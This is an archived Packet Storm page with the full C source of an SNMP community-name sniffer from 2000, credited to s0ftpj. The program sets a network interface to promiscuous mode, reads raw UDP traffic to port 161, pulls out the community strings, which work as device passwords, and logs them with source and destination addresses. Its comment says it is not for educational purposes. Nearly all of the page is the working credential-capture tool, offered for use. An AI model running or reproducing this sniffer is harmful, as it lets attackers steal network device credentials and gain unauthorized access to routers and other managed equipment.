what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

scns.c

scns.c
Posted May 4, 2000
Authored by s0ftpj, Pigpen | Site s0ftpj.org

s0ftpj snmp community name sniffer.

SHA-256 | b045cba106f925e47765e9721dffa6e74e74231ba4043f0d3d73f43f57bab70c

scns.c

Change Mirror Download
/*
* s0ftpj snmp community name sniffer.
* nothing special.
*
* no(c) del0rean@s0ftpj.org
* this is NOT for educational purpouse! :)
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

#define IF "eth0" /* change thiz */
#define LOGFILE "logfile" /* change thiz */
#define IPHDR sizeof(struct iphdr)
#define UDPHDR sizeof(struct udphdr)


char *trip(char *bu);
void ifsec(char *intf, int s);

/* Welcome to a fantastic journey into an snmp packet */
/* We will search _only_ for the community name. */
/* let's go! :) */

char *trip(char *bu)
{
int i, ssize;
char *name;

i = 0;

/* Primitive ASN.1 Types Identifier in hex
* OCTET STRING 04

* General SNMP header
* SEQUENCE {
* version INTEGER {version-1(0)},
* community OCTET STRING,
* data ANY -- PDUs
* }
*/

while(bu[i++] != '\x04');
/* style ? uh! */
if(bu[i-1] == '\x04')
{
ssize = bu[i];
name = (char *)malloc(ssize);
strncpy(name, (char *)&bu[i+1], ssize);
return name;
}
return NULL;
}

void ifset(char *intf, int s) /* classic routines */
{
struct ifreq ifr;

strncpy(ifr.ifr_name, IF, strlen(IF)+1);
if((ioctl(s, SIOCGIFFLAGS, &ifr) == -1))
{
printf("couldn't obtain interface flags!\n");
exit(1);
}
ifr.ifr_flags |= IFF_PROMISC;
if (ioctl (s, SIOCSIFFLAGS, &ifr) == -1 )
{
printf("couldn't set promisc flag\n");
exit(2);
}
}


int main()
{
FILE *log;
int s, sl, brec, buflen;
struct sockaddr_in sinn;
struct iphdr *ip;
struct udphdr *udp;
char buf[255], *data;

printf("\n--[ www.s0ftpj.org ]----------------------|\n");
printf("--[ s0ftpj snmp community name sniffer ]--|\n");

signal(SIGTERM,exit); /* ciao ciao vecna!! */
s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

ifset(IF, s); /* set promisc */

log = fopen(LOGFILE, "a");
if(log == NULL) printf("error opening logfile\n");

buflen = sizeof(buf);
sl = sizeof(sinn);

ip = (struct iphdr *)buf;
udp = (struct udphdr *)(buf+IPHDR);

while(1)
{
brec = recvfrom(s, (char *)&buf, buflen, 0, (struct sockaddr*)&sinn, &sl);
if((ntohs(udp->dest)) == 161)
{
if(data = (trip(&buf[IPHDR+UDPHDR])))
{
fprintf(log,"\nlook at that!\n");
fflush(log);
fprintf(log,"*source ----> [%s]\n", (char *)inet_ntoa(ip->saddr));
fflush(log);
fprintf(log,"*dest ------> [%s]\n", (char *)inet_ntoa(ip->daddr));
fflush(log);
fprintf(log,"*Name ------> [%s]\n", data);
fflush(log);
}
}
}
fclose(log);
exit(0);
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close